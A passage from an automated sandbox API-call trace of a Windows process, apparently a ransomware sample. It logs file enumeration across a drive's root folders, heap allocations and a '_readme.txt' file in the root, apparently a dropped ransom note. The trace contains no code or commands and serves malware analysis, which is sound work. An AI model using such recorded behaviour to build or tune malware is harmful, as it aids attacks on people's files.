nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0116.982] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0116.982] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164ed8 [0116.982] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.982] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x54) returned 0x6168a08 [0116.982] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x61616b0 [0116.982] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164f28 [0116.982] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161640 | out: hHeap=0x35b0000) returned 1 [0116.982] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164e60 | out: hHeap=0x35b0000) returned 1 [0116.982] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6183888 | out: hHeap=0x35b0000) returned 1 [0116.982] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164e60 [0116.982] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0116.983] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164ed8 | out: hHeap=0x35b0000) returned 1 [0116.983] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0116.983] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162700 [0116.983] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x61626b8 [0116.983] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x70) returned 0x6145c10 [0116.983] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161640 [0116.983] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164ed8 [0116.983] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.983] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61616b0 | out: hHeap=0x35b0000) returned 1 [0116.983] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164f28 | out: hHeap=0x35b0000) returned 1 [0116.983] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164e60 | out: hHeap=0x35b0000) returned 1 [0116.983] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6168a08 | out: hHeap=0x35b0000) returned 1 [0116.983] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0116.983] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61626b8 | out: hHeap=0x35b0000) returned 1 [0116.983] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162700 | out: hHeap=0x35b0000) returned 1 [0116.983] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xa5381980, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0116.983] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0116.983] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164e60 [0116.983] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164f28 [0116.983] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xa8) returned 0x6132d20 [0116.983] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x61616b0 [0116.983] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164f50 [0116.983] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164f78 [0116.983] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162700 [0116.983] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161640 | out: hHeap=0x35b0000) returned 1 [0116.983] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164ed8 | out: hHeap=0x35b0000) returned 1 [0116.983] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0116.983] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0116.983] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6145c10 | out: hHeap=0x35b0000) returned 1 [0116.983] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.983] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164f28 | out: hHeap=0x35b0000) returned 1 [0116.983] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164e60 | out: hHeap=0x35b0000) returned 1 [0116.984] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xa53a7ae0, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0116.984] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0116.984] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164e60 [0116.984] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164f28 [0116.984] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164ed8 [0116.984] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164f28 | out: hHeap=0x35b0000) returned 1 [0116.984] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164e60 | out: hHeap=0x35b0000) returned 1 [0116.984] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7e568450, ftLastAccessTime.dwHighDateTime=0x1d56c59, ftLastWriteTime.dwLowDateTime=0x7e568450, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0116.984] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161640 [0116.984] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161678 [0116.984] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xfc) returned 0x360f820 [0116.984] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x61616e8 [0116.984] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164e60 [0116.984] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164f28 [0116.984] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0116.984] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fa0 [0116.984] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fc8 [0116.984] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61616b0 | out: hHeap=0x35b0000) returned 1 [0116.984] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164f50 | out: hHeap=0x35b0000) returned 1 [0116.984] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164f78 | out: hHeap=0x35b0000) returned 1 [0116.984] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162700 | out: hHeap=0x35b0000) returned 1 [0116.984] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0116.984] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164ed8 | out: hHeap=0x35b0000) returned 1 [0116.984] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6132d20 | out: hHeap=0x35b0000) returned 1 [0116.984] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x61616b0 [0116.984] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161678 | out: hHeap=0x35b0000) returned 1 [0116.984] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161640 | out: hHeap=0x35b0000) returned 1 [0116.984] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0116.984] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161640 [0116.984] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161678 [0116.984] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161720 [0116.985] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161678 | out: hHeap=0x35b0000) returned 1 [0116.985] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161640 | out: hHeap=0x35b0000) returned 1 [0116.985] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0116.985] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164ed8 [0116.985] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.985] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164f78 [0116.985] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0116.985] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164ed8 | out: hHeap=0x35b0000) returned 1 [0116.985] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0116.985] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164ed8 [0116.985] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.985] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x16c) returned 0x361c840 [0116.985] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161640 [0116.985] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164f50 [0116.985] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164ff0 [0116.985] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162700 [0116.985] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165018 [0116.985] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165040 [0116.985] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161678 [0116.985] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161758 [0116.985] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165068 [0116.985] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61616e8 | out: hHeap=0x35b0000) returned 1 [0116.985] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164e60 | out: hHeap=0x35b0000) returned 1 [0116.985] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164f28 | out: hHeap=0x35b0000) returned 1 [0116.985] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0116.985] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164fa0 | out: hHeap=0x35b0000) returned 1 [0116.985] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164fc8 | out: hHeap=0x35b0000) returned 1 [0116.985] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61616b0 | out: hHeap=0x35b0000) returned 1 [0116.985] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161720 | out: hHeap=0x35b0000) returned 1 [0116.985] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164f78 | out: hHeap=0x35b0000) returned 1 [0116.985] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x360f820 | out: hHeap=0x35b0000) returned 1 [0116.985] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164f78 [0116.986] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0116.986] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164ed8 | out: hHeap=0x35b0000) returned 1 [0116.986] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x56231c60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0xa1602bc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa1602bc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0116.986] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0116.986] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x61626b8 [0116.986] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162790 [0116.986] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61626b8 | out: hHeap=0x35b0000) returned 1 [0116.986] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162748 | out: hHeap=0x35b0000) returned 1 [0116.986] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8d29e580, ftCreationTime.dwHighDateTime=0x1d56c59, ftLastAccessTime.dwLowDateTime=0x8d2c46e0, ftLastAccessTime.dwHighDateTime=0x1d56c59, ftLastWriteTime.dwLowDateTime=0x8d2c46e0, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SystemID", cAlternateFileName="")) returned 1 [0116.986] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164ed8 [0116.986] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.986] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fc8 [0116.986] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0116.986] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164ed8 | out: hHeap=0x35b0000) returned 1 [0116.986] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0116.986] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164ed8 [0116.986] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.986] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fa0 [0116.986] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0116.986] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164ed8 | out: hHeap=0x35b0000) returned 1 [0116.986] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0116.986] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164ed8 [0116.986] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.986] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x214) returned 0x61efac8 [0116.986] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161720 [0116.986] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164f28 [0116.986] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164e60 [0116.986] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162748 [0116.986] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165090 [0116.987] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x61650b8 [0116.987] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x61616b0 [0116.987] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x61616e8 [0116.987] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x61650e0 [0116.987] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0116.987] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x61626b8 [0116.987] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165130 [0116.987] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165158 [0116.987] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161640 | out: hHeap=0x35b0000) returned 1 [0116.987] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164f50 | out: hHeap=0x35b0000) returned 1 [0116.987] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164ff0 | out: hHeap=0x35b0000) returned 1 [0116.987] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162700 | out: hHeap=0x35b0000) returned 1 [0116.987] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165018 | out: hHeap=0x35b0000) returned 1 [0116.987] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165040 | out: hHeap=0x35b0000) returned 1 [0116.987] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161678 | out: hHeap=0x35b0000) returned 1 [0116.987] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161758 | out: hHeap=0x35b0000) returned 1 [0116.987] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165068 | out: hHeap=0x35b0000) returned 1 [0116.987] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164f78 | out: hHeap=0x35b0000) returned 1 [0116.987] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162790 | out: hHeap=0x35b0000) returned 1 [0116.987] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164fc8 | out: hHeap=0x35b0000) returned 1 [0116.987] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164fa0 | out: hHeap=0x35b0000) returned 1 [0116.987] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x361c840 | out: hHeap=0x35b0000) returned 1 [0116.987] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fa0 [0116.987] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0116.987] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164ed8 | out: hHeap=0x35b0000) returned 1 [0116.987] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x12020, ftCreationTime.dwLowDateTime=0xb8bf0810, ftCreationTime.dwHighDateTime=0x1d56c59, ftLastAccessTime.dwLowDateTime=0xb8bf0810, ftLastAccessTime.dwHighDateTime=0x1d56c59, ftLastWriteTime.dwLowDateTime=0xb8bf0810, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0x461, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0116.987] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x12020, ftCreationTime.dwLowDateTime=0xb8bf0810, ftCreationTime.dwHighDateTime=0x1d56c59, ftLastAccessTime.dwLowDateTime=0xb8bf0810, ftLastAccessTime.dwHighDateTime=0x1d56c59, ftLastWriteTime.dwLowDateTime=0xb8bf0810, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0x461, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0116.987] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0116.988] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.988] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161758 [0116.988] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0116.988] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161678 [0116.988] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0116.988] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.988] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161678 | out: hHeap=0x35b0000) returned 1 [0116.988] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161678 [0116.988] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0116.988] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.988] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161678 | out: hHeap=0x35b0000) returned 1 [0116.988] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161678 [0116.988] 